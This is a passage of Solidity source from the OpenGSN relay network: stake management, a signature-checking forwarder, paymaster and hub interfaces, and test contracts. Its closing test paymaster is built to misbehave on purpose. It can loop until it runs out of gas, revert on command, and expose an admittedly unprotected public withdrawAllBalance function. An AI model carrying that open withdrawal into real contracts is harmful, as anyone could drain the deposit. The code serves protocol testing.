relayWorker, address payable beneficiary) external override penalizerOnly { address relayManager = workerToManager[relayWorker]; // The worker must be controlled by a manager with a locked stake require(relayManager != address(0), "Unknown relay worker"); require( isRelayManagerStaked(relayManager), "relay manager not staked" ); IStakeManager.StakeInfo memory stakeInfo = stakeManager.getStakeInfo(relayManager); stakeManager.penalizeRelayManager(relayManager, beneficiary, stakeInfo.stake); } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IStakeManager.sol"; contract StakeManager is IStakeManager { using SafeMath for uint256; string public override versionSM = "2.2.0+opengsn.stakemanager.istakemanager"; uint256 public immutable override maxUnstakeDelay; /// maps relay managers to their stakes mapping(address => StakeInfo) public stakes; function getStakeInfo(address relayManager) external override view returns (StakeInfo memory stakeInfo) { return stakes[relayManager]; } /// maps relay managers to a map of addressed of their authorized hubs to the information on that hub mapping(address => mapping(address => RelayHubInfo)) public authorizedHubs; constructor(uint256 _maxUnstakeDelay) { maxUnstakeDelay = _maxUnstakeDelay; } function setRelayManagerOwner(address payable owner) external override { require(owner != address(0), "invalid owner"); require(stakes[msg.sender].owner == address(0), "already owned"); stakes[msg.sender].owner = owner; emit OwnerSet(msg.sender, owner); } /// Put a stake for a relayManager and set its unstake delay. Only the owner can call this function. /// @param relayManager - address that represents a stake entry and controls relay registrations on relay hubs /// @param unstakeDelay - number of blocks to elapse before the owner can retrieve the stake after calling 'unlock' function stakeForRelayManager(address relayManager, uint256 unstakeDelay) external override payable ownerOnly(relayManager) { require(unstakeDelay >= stakes[relayManager].unstakeDelay, "unstakeDelay cannot be decreased"); require(unstakeDelay <= maxUnstakeDelay, "unstakeDelay too big"); stakes[relayManager].stake += msg.value; stakes[relayManager].unstakeDelay = unstakeDelay; emit StakeAdded(relayManager, stakes[relayManager].owner, stakes[relayManager].stake, stakes[relayManager].unstakeDelay); } function unlockStake(address relayManager) external override ownerOnly(relayManager) { StakeInfo storage info = stakes[relayManager]; require(info.withdrawBlock == 0, "already pending"); uint withdrawBlock = block.number.add(info.unstakeDelay); info.withdrawBlock = withdrawBlock; emit StakeUnlocked(relayManager, msg.sender, withdrawBlock); } function withdrawStake(address relayManager) external override ownerOnly(relayManager) { StakeInfo storage info = stakes[relayManager]; require(info.withdrawBlock > 0, "Withdrawal is not scheduled"); require(info.withdrawBlock <= block.number, "Withdrawal is not due"); uint256 amount = info.stake; info.stake = 0; info.withdrawBlock = 0; msg.sender.transfer(amount); emit StakeWithdrawn(relayManager, msg.sender, amount); } modifier ownerOnly (address relayManager) { StakeInfo storage info = stakes[relayManager]; require(info.owner == msg.sender, "not owner"); _; } modifier managerOnly () { StakeInfo storage info = stakes[msg.sender]; require(info.owner != address(0), "not manager"); _; } function authorizeHubByOwner(address relayManager, address relayHub) external ownerOnly(relayManager) override { _authorizeHub(relayManager, relayHub); } function authorizeHubByManager(address relayHub) external managerOnly override { _authorizeHub(msg.sender, relayHub); } function _authorizeHub(address relayManager, address relayHub) internal { authorizedHubs[relayManager][relayHub].removalBlock = uint(-1); emit HubAuthorized(relayManager, relayHub); } function unauthorizeHubByOwner(address relayManager, address relayHub) external override ownerOnly(relayManager) { _unauthorizeHub(relayManager, relayHub); } function unauthorizeHubByManager(address relayHub) external override managerOnly { _unauthorizeHub(msg.sender, relayHub); } function _unauthorizeHub(address relayManager, address relayHub) internal { RelayHubInfo storage hubInfo = authorizedHubs[relayManager][relayHub]; require(hubInfo.removalBlock == uint(-1), "hub not authorized"); uint256 removalBlock = block.number.add(stakes[relayManager].unstakeDelay); hubInfo.removalBlock = removalBlock; emit HubUnauthorized(relayManager, relayHub, removalBlock); } function isRelayManagerStaked(address relayManager, address relayHub, uint256 minAmount, uint256 minUnstakeDelay) external override view returns (bool) { StakeInfo storage info = stakes[relayManager]; bool isAmountSufficient = info.stake >= minAmount; bool isDelaySufficient = info.unstakeDelay >= minUnstakeDelay; bool isStakeLocked = info.withdrawBlock == 0; bool isHubAuthorized = authorizedHubs[relayManager][relayHub].removalBlock == uint(-1); return isAmountSufficient && isDelaySufficient && isStakeLocked && isHubAuthorized; } /// Slash the stake of the relay relayManager. In order to prevent stake kidnapping, burns half of stake on the way. /// @param relayManager - entry to penalize /// @param beneficiary - address that receives half of the penalty amount /// @param amount - amount to withdraw from stake function penalizeRelayManager(address relayManager, address payable beneficiary, uint256 amount) external override { uint256 removalBlock = authorizedHubs[relayManager][msg.sender].removalBlock; require(removalBlock != 0, "hub not authorized"); require(removalBlock > block.number, "hub authorization expired"); // Half of the stake will be burned (sent to address 0) require(stakes[relayManager].stake >= amount, "penalty exceeds stake"); stakes[relayManager].stake = SafeMath.sub(stakes[relayManager].stake, amount); uint256 toBurn = SafeMath.div(amount, 2); uint256 reward = SafeMath.sub(amount, toBurn); // Ether is burned and transferred address(0).transfer(toBurn); beneficiary.transfer(reward); emit StakePenalized(relayManager, beneficiary, reward); } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; import "./IForwarder.sol"; contract Forwarder is IForwarder { using ECDSA for bytes32; string public constant GENERIC_PARAMS = "address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data,uint256 validUntil"; string public constant EIP712_DOMAIN_TYPE = "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"; mapping(bytes32 => bool) public typeHashes; mapping(bytes32 => bool) public domains; // Nonces of senders, used to prevent replay attacks mapping(address => uint256) private nonces; // solhint-disable-next-line no-empty-blocks receive() external payable {} function getNonce(address from) public view override returns (uint256) { return nonces[from]; } constructor() { string memory requestType = string(abi.encodePacked("ForwardRequest(", GENERIC_PARAMS, ")")); registerRequestTypeInternal(requestType); } function verify( ForwardRequest calldata req, bytes32 domainSeparator, bytes32 requestTypeHash, bytes calldata suffixData, bytes calldata sig) external override view { _verifyNonce(req); _verifySig(req, domainSeparator, requestTypeHash, suffixData, sig); } function execute( ForwardRequest calldata req, bytes32 domainSeparator, bytes32 requestTypeHash, bytes calldata suffixData, bytes calldata sig ) external payable override returns (bool success, bytes memory ret) { _verifySig(req, domainSeparator, requestTypeHash, suffixData, sig); _verifyAndUpdateNonce(req); require(req.validUntil == 0 || req.validUntil > block.number, "FWD: request expired"); uint gasForTransfer = 0; if ( req.value != 0 ) { gasForTransfer = 40000; //buffer in case we need to move eth after the transaction. } bytes memory callData = abi.encodePacked(req.data, req.from); require(gasleft()*63/64 >= req.gas + gasForTransfer, "FWD: insufficient gas"); // solhint-disable-next-line avoid-low-level-calls (success,ret) = req.to.call{gas : req.gas, value : req.value}(callData); if ( req.value != 0 && address(this).balance>0 ) { // can't fail: req.from signed (off-chain) the request, so it must be an EOA... payable(req.from).transfer(address(this).balance); } return (success,ret); } function _verifyNonce(ForwardRequest calldata req) internal view { require(nonces[req.from] == req.nonce, "FWD: nonce mismatch"); } function _verifyAndUpdateNonce(ForwardRequest calldata req) internal { require(nonces[req.from]++ == req.nonce, "FWD: nonce mismatch"); } function registerRequestType(string calldata typeName, string calldata typeSuffix) external override { for (uint i = 0; i < bytes(typeName).length; i++) { bytes1 c = bytes(typeName)[i]; require(c != "(" && c != ")", "FWD: invalid typename"); } string memory requestType = string(abi.encodePacked(typeName, "(", GENERIC_PARAMS, ",", typeSuffix)); registerRequestTypeInternal(requestType); } function registerDomainSeparator(string calldata name, string calldata version) external override { uint256 chainId; /* solhint-disable-next-line no-inline-assembly */ assembly { chainId := chainid() } bytes memory domainValue = abi.encode( keccak256(bytes(EIP712_DOMAIN_TYPE)), keccak256(bytes(name)), keccak256(bytes(version)), chainId, address(this)); bytes32 domainHash = keccak256(domainValue); domains[domainHash] = true; emit DomainRegistered(domainHash, domainValue); } function registerRequestTypeInternal(string memory requestType) internal { bytes32 requestTypehash = keccak256(bytes(requestType)); typeHashes[requestTypehash] = true; emit RequestTypeRegistered(requestTypehash, requestType); } function _verifySig( ForwardRequest calldata req, bytes32 domainSeparator, bytes32 requestTypeHash, bytes calldata suffixData, bytes calldata sig) internal view { require(domains[domainSeparator], "FWD: unregistered domain sep."); require(typeHashes[requestTypeHash], "FWD: unregistered typehash"); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", domainSeparator, keccak256(_getEncoded(req, requestTypeHash, suffixData)) )); require(digest.recover(sig) == req.from, "FWD: signature mismatch"); } function _getEncoded( ForwardRequest calldata req, bytes32 requestTypeHash, bytes calldata suffixData ) public pure returns ( bytes memory ) { // we use encodePacked since we append suffixData as-is, not as dynamic param. // still, we must make sure all first params are encoded as abi.encode() // would encode them - as 256-bit-wide params. return abi.encodePacked( requestTypeHash, uint256(uint160(req.from)), uint256(uint160(req.to)), req.value, req.gas, req.nonce, keccak256(req.data), req.validUntil, suffixData ); } } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; pragma abicoder v2; interface IForwarder { struct ForwardRequest { address from; address to; uint256 value; uint256 gas; uint256 nonce; bytes data; uint256 validUntil; } event DomainRegistered(bytes32 indexed domainSeparator, bytes domainValue); event RequestTypeRegistered(bytes32 indexed typeHash, string typeStr); function getNonce(address from) external view returns(uint256); /** * verify the transaction would execute. * validate the signature and the nonce of the request. * revert if either signature or nonce are incorrect. * also revert if domainSeparator or requestTypeHash are not registered. */ function verify( ForwardRequest calldata forwardRequest, bytes32 domainSeparator, bytes32 requestTypeHash, bytes calldata suffixData, bytes calldata signature ) external view; /** * execute a transaction * @param forwardRequest - all transaction parameters * @param domainSeparator - domain used when signing this request * @param requestTypeHash - request type used when signing this request. * @param suffixData - the extension data used when signing this request. * @param signature - signature to validate. * * the transaction is verified, and then executed. * the success and ret of "call" are returned. * This method would revert only verification errors. target errors * are reported using the returned "success" and ret string */ function execute( ForwardRequest calldata forwardRequest, bytes32 domainSeparator, bytes32 requestTypeHash, bytes calldata suffixData, bytes calldata signature ) external payable returns (bool success, bytes memory ret); /** * Register a new Request typehash. * @param typeName - the name of the request type. * @param typeSuffix - any extra data after the generic params. * (must add at least one param. The generic ForwardRequest type is always registered by the constructor) */ function registerRequestType(string calldata typeName, string calldata typeSuffix) external; /** * Register a new domain separator. * The domain separator must have the following fields: name,version,chainId, verifyingContract. * the chainId is the current network's chainId, and the verifyingContract is this forwarder. * This method is given the domain name and version to create and register the domain separator value. * @param name the domain's display name * @param version the domain/protocol version */ function registerDomainSeparator(string calldata name, string calldata version) external; } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "../Forwarder.sol"; // helper class for testing the forwarder. contract TestForwarder { function callExecute(Forwarder forwarder, Forwarder.ForwardRequest memory req, bytes32 domainSeparator, bytes32 requestTypeHash, bytes memory suffixData, bytes memory sig) public payable { (bool success, bytes memory error) = forwarder.execute{value:msg.value}(req, domainSeparator, requestTypeHash, suffixData, sig); emit Result(success, success ? "" : this.decodeErrorMessage(error)); } event Result(bool success, string error); function decodeErrorMessage(bytes calldata ret) external pure returns (string memory message) { //decode evert string: assume it has a standard Error(string) signature: simply skip the (selector,offset,length) fields if ( ret.length>4+32+32 ) { return abi.decode(ret[4:], (string)); } //unknown buffer. return as-is return string(ret); } function getChainId() public pure returns (uint256 id){ /* solhint-disable-next-line no-inline-assembly */ assembly { id := chainid() } } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; import "../../BaseRelayRecipient.sol"; contract TestForwarderTarget is BaseRelayRecipient { string public override versionRecipient = "2.2.0+opengsn.test.recipient"; constructor(address forwarder) { trustedForwarder = forwarder; } // solhint-disable-next-line no-empty-blocks receive() external payable {} event TestForwarderMessage(string message, bytes realMsgData, address realSender, address msgSender, address origin); function emitMessage(string memory message) public { // solhint-disable-next-line avoid-tx-origin emit TestForwarderMessage(message, _msgData(), _msgSender(), msg.sender, tx.origin); } function publicMsgSender() public view returns (address) { return _msgSender(); } function publicMsgData() public view returns (bytes memory) { return _msgData(); } function mustReceiveEth(uint value) public payable { require( msg.value == value, "didn't receive value"); } event Reverting(string message); function testRevert() public { require(address(this) == address(0), "always fail"); emit Reverting("if you see this revert failed..."); } } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; pragma abicoder v2; import "../utils/GsnTypes.sol"; interface IPaymaster { /** * @param acceptanceBudget - * Paymaster expected gas budget to accept (or reject) a request * This a gas required by any calculations that might need to reject the * transaction, by preRelayedCall, forwarder and recipient. * See value in BasePaymaster.PAYMASTER_ACCEPTANCE_BUDGET * Transaction that gets rejected above that gas usage is on the paymaster's expense. * As long this value is above preRelayedCallGasLimit (see defaults in BasePaymaster), the * Paymaster is guaranteed it will never pay for rejected transactions. * If this value is below preRelayedCallGasLimt, it might might make Paymaster open to a "griefing" attack. * * Specifying value too high might make the call rejected by some relayers. * * From a Relay's point of view, this is the highest gas value a paymaster might "grief" the relay, * since the paymaster will pay anything above that (regardless if the tx reverts) * * @param preRelayedCallGasLimit - the max gas usage of preRelayedCall. any revert (including OOG) * of preRelayedCall is a reject by the paymaster. * as long as acceptanceBudget is above preRelayedCallGasLimit, any such revert (including OOG) * is not payed by the paymaster. * @param postRelayedCallGasLimit - the max gas usage of postRelayedCall. * note that an OOG will revert the transaction, but the paymaster already committed to pay, * so the relay will get compensated, at the expense of the paymaster */ struct GasAndDataLimits { uint256 acceptanceBudget; uint256 preRelayedCallGasLimit; uint256 postRelayedCallGasLimit; uint256 calldataSizeLimit; } /** * Return the Gas Limits and msg.data max size constants used by the Paymaster. */ function getGasAndDataLimits() external view returns ( GasAndDataLimits memory limits ); function trustedForwarder() external view returns (IForwarder); /** * return the relayHub of this contract. */ function getHubAddr() external view returns (address); /** * Can be used to determine if the contract can pay for incoming calls before making any. * @return the paymaster's deposit in the RelayHub. */ function getRelayHubDeposit() external view returns (uint256); /** * Called by Relay (and RelayHub), to validate if the paymaster agrees to pay for this call. * * MUST be protected with relayHubOnly() in case it modifies state. * * The Paymaster rejects by the following "revert" operations * - preRelayedCall() method reverts * - the forwarder reverts because of nonce or signature error * - the paymaster returned "rejectOnRecipientRevert", and the recipient contract reverted. * In any of the above cases, all paymaster calls (and recipient call) are reverted. * In any other case, the paymaster agrees to pay for the gas cost of the transaction (note * that this includes also postRelayedCall revert) * * The rejectOnRecipientRevert flag means the Paymaster "delegate" the rejection to the recipient * code. It also means the Paymaster trust the recipient to reject fast: both preRelayedCall, * forwarder check and receipient checks must fit into the GasLimits.acceptanceBudget, * otherwise the TX is paid by the Paymaster. * * @param relayRequest - the full relay request structure * @param signature - user's EIP712-compatible signature of the {@link relayRequest}. * Note that in most cases the paymaster shouldn't try use it at all. It is always checked * by the forwarder immediately after preRelayedCall returns. * @param approvalData - extra dapp-specific data (e.g. signature from trusted party) * @param maxPossibleGas - based on values returned from {@link getGasAndDataLimits}, * the RelayHub will calculate the maximum possible amount of gas the user may be charged for. * In order to convert this value to wei, the Paymaster has to call "relayHub.calculateCharge()" * return: * a context to be passed to postRelayedCall * rejectOnRecipientRevert - TRUE if paymaster want to reject the TX if the recipient reverts. * FALSE means that rejects by the recipient will be completed on chain, and paid by the paymaster. * (note that in the latter case, the preRelayedCall and postRelayedCall are not reverted). */ function preRelayedCall( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint256 maxPossibleGas ) external returns (bytes memory context, bool rejectOnRecipientRevert); /** * This method is called after the actual relayed function call. * It may be used to record the transaction (e.g. charge the caller by some contract logic) for this call. * * MUST be protected with relayHubOnly() in case it modifies state. * * @param context - the call context, as returned by the preRelayedCall * @param success - true if the relayed call succeeded, false if it reverted * @param gasUseWithoutPost - the actual amount of gas used by the entire transaction, EXCEPT * the gas used by the postRelayedCall itself. * @param relayData - the relay params of the request. can be used by relayHub.calculateCharge() * * Revert in this functions causes a revert of the client's relayed call (and preRelayedCall(), but the Paymaster * is still committed to pay the relay for the entire transaction. */ function postRelayedCall( bytes calldata context, bool success, uint256 gasUseWithoutPost, GsnTypes.RelayData calldata relayData ) external; function versionPaymaster() external view returns (string memory); } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; import "./IRelayHub.sol"; interface IPenalizer { event CommitAdded(address indexed sender, bytes32 indexed commitHash, uint256 readyBlockNumber); struct Transaction { uint256 nonce; uint256 gasPrice; uint256 gasLimit; address to; uint256 value; bytes data; } function commit(bytes32 commitHash) external; function penalizeRepeatedNonce( bytes calldata unsignedTx1, bytes calldata signature1, bytes calldata unsignedTx2, bytes calldata signature2, IRelayHub hub, uint256 randomValue ) external; function penalizeIllegalTransaction( bytes calldata unsignedTx, bytes calldata signature, IRelayHub hub, uint256 randomValue ) external; function versionPenalizer() external view returns (string memory); function penalizeBlockDelay() external view returns (uint256); function penalizeBlockExpiration() external view returns (uint256); } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; pragma abicoder v2; import "../utils/GsnTypes.sol"; import "./IStakeManager.sol"; interface IRelayHub { struct RelayHubConfig { // maximum number of worker accounts allowed per manager uint256 maxWorkerCount; // Gas set aside for all relayCall() instructions to prevent unexpected out-of-gas exceptions uint256 gasReserve; // Gas overhead to calculate gasUseWithoutPost uint256 postOverhead; // Gas cost of all relayCall() instructions after actual 'calculateCharge()' // Assume that relay has non-zero balance (costs 15'000 more otherwise). uint256 gasOverhead; // Maximum funds that can be deposited at once. Prevents user error by disallowing large deposits. uint256 maximumRecipientDeposit; // Minimum unstake delay blocks of a relay manager's stake on the StakeManager uint256 minimumUnstakeDelay; // Minimum stake a relay can have. An attack on the network will never cost less than half this value. uint256 minimumStake; // relayCall()'s msg.data upper bound gas cost per byte uint256 dataGasCostPerByte; // relayCalls() minimal gas overhead when calculating cost of putting tx on chain. uint256 externalCallDataCostOverhead; } event RelayHubConfigured(RelayHubConfig config); /// Emitted when a relay server registers or updates its details /// Looking at these events lets a client discover relay servers event RelayServerRegistered( address indexed relayManager, uint256 baseRelayFee, uint256 pctRelayFee, string relayUrl ); /// Emitted when relays are added by a relayManager event RelayWorkersAdded( address indexed relayManager, address[] newRelayWorkers, uint256 workersCount ); /// Emitted when an account withdraws funds from RelayHub. event Withdrawn( address indexed account, address indexed dest, uint256 amount ); /// Emitted when depositFor is called, including the amount and account that was funded. event Deposited( address indexed paymaster, address indexed from, uint256 amount ); /// Emitted when an attempt to relay a call fails and Paymaster does not accept the transaction. /// The actual relayed call was not executed, and the recipient not charged. /// @param reason contains a revert reason returned from preRelayedCall or forwarder. event TransactionRejectedByPaymaster( address indexed relayManager, address indexed paymaster, address indexed from, address to, address relayWorker, bytes4 selector, uint256 innerGasUsed, bytes reason ); /// Emitted when a transaction is relayed. Note that the actual encoded function might be reverted: this will be /// indicated in the status field. /// Useful when monitoring a relay's operation and relayed calls to a contract. /// Charge is the ether value deducted from the recipient's balance, paid to the relay's manager. event TransactionRelayed( address indexed relayManager, address indexed relayWorker, address indexed from, address to, address paymaster, bytes4 selector, RelayCallStatus status, uint256 charge ); event TransactionResult( RelayCallStatus status, bytes returnValue ); event HubDeprecated(uint256 fromBlock); /// Reason error codes for the TransactionRelayed event /// @param OK - the transaction was successfully relayed and execution successful - never included in the event /// @param RelayedCallFailed - the transaction was relayed, but the relayed call failed /// @param RejectedByPreRelayed - the transaction was not relayed due to preRelatedCall reverting /// @param RejectedByForwarder - the transaction was not relayed due to forwarder check (signature,nonce) /// @param PostRelayedFailed - the transaction was relayed and reverted due to postRelatedCall reverting /// @param PaymasterBalanceChanged - the transaction was relayed and reverted due to the paymaster balance change enum RelayCallStatus { OK, RelayedCallFailed, RejectedByPreRelayed, RejectedByForwarder, RejectedByRecipientRevert, PostRelayedFailed, PaymasterBalanceChanged } /// Add new worker addresses controlled by sender who must be a staked Relay Manager address. /// Emits a RelayWorkersAdded event. /// This function can be called multiple times, emitting new events function addRelayWorkers(address[] calldata newRelayWorkers) external; function registerRelayServer(uint256 baseRelayFee, uint256 pctRelayFee, string calldata url) external; // Balance management /// Deposits ether for a contract, so that it can receive (and pay for) relayed transactions. Unused balance can only /// be withdrawn by the contract itself, by calling withdraw. /// Emits a Deposited event. function depositFor(address target) external payable; /// Withdraws from an account's balance, sending it back to it. Relay managers call this to retrieve their revenue, and /// contracts can also use it to reduce their funding. /// Emits a Withdrawn event. function withdraw(uint256 amount, address payable dest) external; // Relaying /// Relays a transaction. For this to succeed, multiple conditions must be met: /// - Paymaster's "preRelayCall" method must succeed and not revert /// - the sender must be a registered Relay Worker that the user signed /// - the transaction's gas price must be equal or larger than the one that was signed by the sender /// - the transaction must have enough gas to run all internal transactions if they use all gas available to them /// - the Paymaster must have enough balance to pay the Relay Worker for the scenario when all gas is spent /// /// If all conditions are met, the call will be relayed and the recipient charged. /// /// Arguments: /// @param maxAcceptanceBudget - max valid value for paymaster.getGasLimits().acceptanceBudget /// @param relayRequest - all details of the requested relayed call /// @param signature - client's EIP-712 signature over the relayRequest struct /// @param approvalData: dapp-specific data forwarded to preRelayedCall. /// This value is *not* verified by the Hub. For example, it can be used to pass a signature to the Paymaster /// @param externalGasLimit - the value passed as gasLimit to the transaction. /// /// Emits a TransactionRelayed event. function relayCall( uint maxAcceptanceBudget, GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint externalGasLimit ) external returns (bool paymasterAccepted, bytes memory returnValue); function penalize(address relayWorker, address payable beneficiary) external; function setConfiguration(RelayHubConfig memory _config) external; // Deprecate hub (reverting relayCall()) from block number 'fromBlock' // Can only be called by owner function deprecateHub(uint256 fromBlock) external; /// The fee is expressed as a base fee in wei plus percentage on actual charge. /// E.g. a value of 40 stands for a 40% fee, so the recipient will be /// charged for 1.4 times the spent amount. function calculateCharge(uint256 gasUsed, GsnTypes.RelayData calldata relayData) external view returns (uint256); /* getters */ /// Returns the whole hub configuration function getConfiguration() external view returns (RelayHubConfig memory config); function calldataGasCost(uint256 length) external view returns (uint256); function workerToManager(address worker) external view returns(address); function workerCount(address manager) external view returns(uint256); /// Returns an account's deposits. It can be either a deposit of a paymaster, or a revenue of a relay manager. function balanceOf(address target) external view returns (uint256); function stakeManager() external view returns (IStakeManager); function penalizer() external view returns (address); /// Uses StakeManager info to decide if the Relay Manager can be considered staked /// @return true if stake size and delay satisfy all requirements function isRelayManagerStaked(address relayManager) external view returns(bool); // Checks hubs' deprecation status function isDeprecated() external view returns (bool); // Returns the block number from which the hub no longer allows relaying calls. function deprecationBlock() external view returns (uint256); /// @return a SemVer-compliant version of the hub contract function versionHub() external view returns (string memory); } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; /** * a contract must implement this interface in order to support relayed transaction. * It is better to inherit the BaseRelayRecipient as its implementation. */ abstract contract IRelayRecipient { /** * return if the forwarder is trusted to forward relayed transactions to us. * the forwarder is required to verify the sender's signature, and verify * the call is not a replay. */ function isTrustedForwarder(address forwarder) public virtual view returns(bool); /** * return the sender of this call. * if the call came through our trusted forwarder, then the real sender is appended as the last 20 bytes * of the msg.data. * otherwise, return `msg.sender` * should be used in the contract anywhere instead of msg.sender */ function _msgSender() internal virtual view returns (address payable); /** * return the msg.data of this call. * if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes * of the msg.data - so this method will strip those 20 bytes off. * otherwise (if the call was made directly and not through the forwarder), return `msg.data` * should be used in the contract instead of msg.data, where this difference matters. */ function _msgData() internal virtual view returns (bytes memory); function versionRecipient() external virtual view returns (string memory); } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/math/SafeMath.sol"; interface IStakeManager { /// Emitted when a stake or unstakeDelay are initialized or increased event StakeAdded( address indexed relayManager, address indexed owner, uint256 stake, uint256 unstakeDelay ); /// Emitted once a stake is scheduled for withdrawal event StakeUnlocked( address indexed relayManager, address indexed owner, uint256 withdrawBlock ); /// Emitted when owner withdraws relayManager funds event StakeWithdrawn( address indexed relayManager, address indexed owner, uint256 amount ); /// Emitted when an authorized Relay Hub penalizes a relayManager event StakePenalized( address indexed relayManager, address indexed beneficiary, uint256 reward ); event HubAuthorized( address indexed relayManager, address indexed relayHub ); event HubUnauthorized( address indexed relayManager, address indexed relayHub, uint256 removalBlock ); event OwnerSet( address indexed relayManager, address indexed owner ); /// @param stake - amount of ether staked for this relay /// @param unstakeDelay - number of blocks to elapse before the owner can retrieve the stake after calling 'unlock' /// @param withdrawBlock - first block number 'withdraw' will be callable, or zero if the unlock has not been called /// @param owner - address that receives revenue and manages relayManager's stake struct StakeInfo { uint256 stake; uint256 unstakeDelay; uint256 withdrawBlock; address payable owner; } struct RelayHubInfo { uint256 removalBlock; } /// Set the owner of a Relay Manager. Called only by the RelayManager itself. /// Note that owners cannot transfer ownership - if the entry already exists, reverts. /// @param owner - owner of the relay (as configured off-chain) function setRelayManagerOwner(address payable owner) external; /// Only the owner can call this function. If the entry does not exist, reverts. /// @param relayManager - address that represents a stake entry and controls relay registrations on relay hubs /// @param unstakeDelay - number of blocks to elapse before the owner can retrieve the stake after calling 'unlock' function stakeForRelayManager(address relayManager, uint256 unstakeDelay) external payable; function unlockStake(address relayManager) external; function withdrawStake(address relayManager) external; function authorizeHubByOwner(address relayManager, address relayHub) external; function authorizeHubByManager(address relayHub) external; function unauthorizeHubByOwner(address relayManager, address relayHub) external; function unauthorizeHubByManager(address relayHub) external; function isRelayManagerStaked(address relayManager, address relayHub, uint256 minAmount, uint256 minUnstakeDelay) external view returns (bool); /// Slash the stake of the relay relayManager. In order to prevent stake kidnapping, burns half of stake on the way. /// @param relayManager - entry to penalize /// @param beneficiary - address that receives half of the penalty amount /// @param amount - amount to withdraw from stake function penalizeRelayManager(address relayManager, address payable beneficiary, uint256 amount) external; function getStakeInfo(address relayManager) external view returns (StakeInfo memory stakeInfo); function maxUnstakeDelay() external view returns (uint256); function versionSM() external view returns (string memory); } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; interface IVersionRegistry { //event emitted whenever a version is added event VersionAdded(bytes32 indexed id, bytes32 version, string value, uint time); //event emitted whenever a version is canceled event VersionCanceled(bytes32 indexed id, bytes32 version, string reason); /** * add a version * @param id the object-id to add a version (32-byte string) * @param version the new version to add (32-byte string) * @param value value to attach to this version */ function addVersion(bytes32 id, bytes32 version, string calldata value) external; /** * cancel a version. */ function cancelVersion(bytes32 id, bytes32 version, string calldata reason) external; } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; import "@opengsn/contracts/src/BaseRelayRecipient.sol"; //make sure that "payable" function that uses _msgSender() still works // (its not required to use _msgSender(), since the default function // will never be called through GSN, but still, if someone uses it, // it should work) contract PayableWithEmit is BaseRelayRecipient { string public override versionRecipient = "2.2.0+opengsn.payablewithemit.irelayrecipient"; event Received(address sender, uint value, uint gasleft); receive () external payable { emit Received(_msgSender(), msg.value, gasleft()); } //helper: send value to another contract function doSend(address payable target) public payable { uint before = gasleft(); // solhint-disable-next-line check-send-result bool success = target.send(msg.value); uint gasAfter = gasleft(); emit GasUsed(before-gasAfter, success); } event GasUsed(uint gasUsed, bool success); } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./TestPaymasterEverythingAccepted.sol"; contract TestPaymasterConfigurableMisbehavior is TestPaymasterEverythingAccepted { bool public withdrawDuringPostRelayedCall; bool public withdrawDuringPreRelayedCall; bool public returnInvalidErrorCode; bool public revertPostRelayCall; bool public outOfGasPre; bool public revertPreRelayCall; bool public revertPreRelayCallOnEvenBlocks; bool public greedyAcceptanceBudget; bool public expensiveGasLimits; function setWithdrawDuringPostRelayedCall(bool val) public { withdrawDuringPostRelayedCall = val; } function setWithdrawDuringPreRelayedCall(bool val) public { withdrawDuringPreRelayedCall = val; } function setReturnInvalidErrorCode(bool val) public { returnInvalidErrorCode = val; } function setRevertPostRelayCall(bool val) public { revertPostRelayCall = val; } function setRevertPreRelayCall(bool val) public { revertPreRelayCall = val; } function setRevertPreRelayCallOnEvenBlocks(bool val) public { revertPreRelayCallOnEvenBlocks = val; } function setOutOfGasPre(bool val) public { outOfGasPre = val; } function setGreedyAcceptanceBudget(bool val) public { greedyAcceptanceBudget = val; } function setExpensiveGasLimits(bool val) public { expensiveGasLimits = val; } // solhint-disable reason-string // contains comments that are checked in tests function preRelayedCall( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint256 maxPossibleGas ) external override relayHubOnly returns (bytes memory, bool) { (signature, approvalData, maxPossibleGas); if (outOfGasPre) { uint i = 0; while (true) { i++; } } require(!returnInvalidErrorCode, "invalid code"); if (withdrawDuringPreRelayedCall) { withdrawAllBalance(); } if (revertPreRelayCall) { revert("You asked me to revert, remember?"); } if (revertPreRelayCallOnEvenBlocks && block.number % 2 == 0) { revert("You asked me to revert on even blocks, remember?"); } _verifyForwarder(relayRequest); return ("", trustRecipientRevert); } function postRelayedCall( bytes calldata context, bool success, uint256 gasUseWithoutPost, GsnTypes.RelayData calldata relayData ) external override relayHubOnly { (context, success, gasUseWithoutPost, relayData); if (withdrawDuringPostRelayedCall) { withdrawAllBalance(); } if (revertPostRelayCall) { revert("You asked me to revert, remember?"); } } /// leaving withdrawal public and unprotected function withdrawAllBalance() public returns (uint256) { require(address(relayHub) != address(0), "relay hub address not set"); uint256 balance = relayHub.balanceOf(address(this)); relayHub.withdraw(balance, address(this)); return balance; } IPaymaster.GasAndDataLimits private limits = super.getGasAndDataLimits(); function getGasAndDataLimits() public override view returns (IPaymaster.GasAndDataLimits memory) { if (expensiveGasLimits) { uint sum; //memory access is 700gas, so we waste ~50000 for ( int i=0; i<60000; i+=700 ) { sum = sum + limits.acceptanceBudget; } } if (greedyAcceptanceBudget) { return IPaymaster.GasAndDataLimits(limits.acceptanceBudget * 9, limits.preRelayedCallGasLimit, limits.postRelayedCallGasLimit, limits.calldataSizeLimit); } return limits; } bool private trustRecipientRevert; function setGasLimits(uint acceptanceBudget, uint 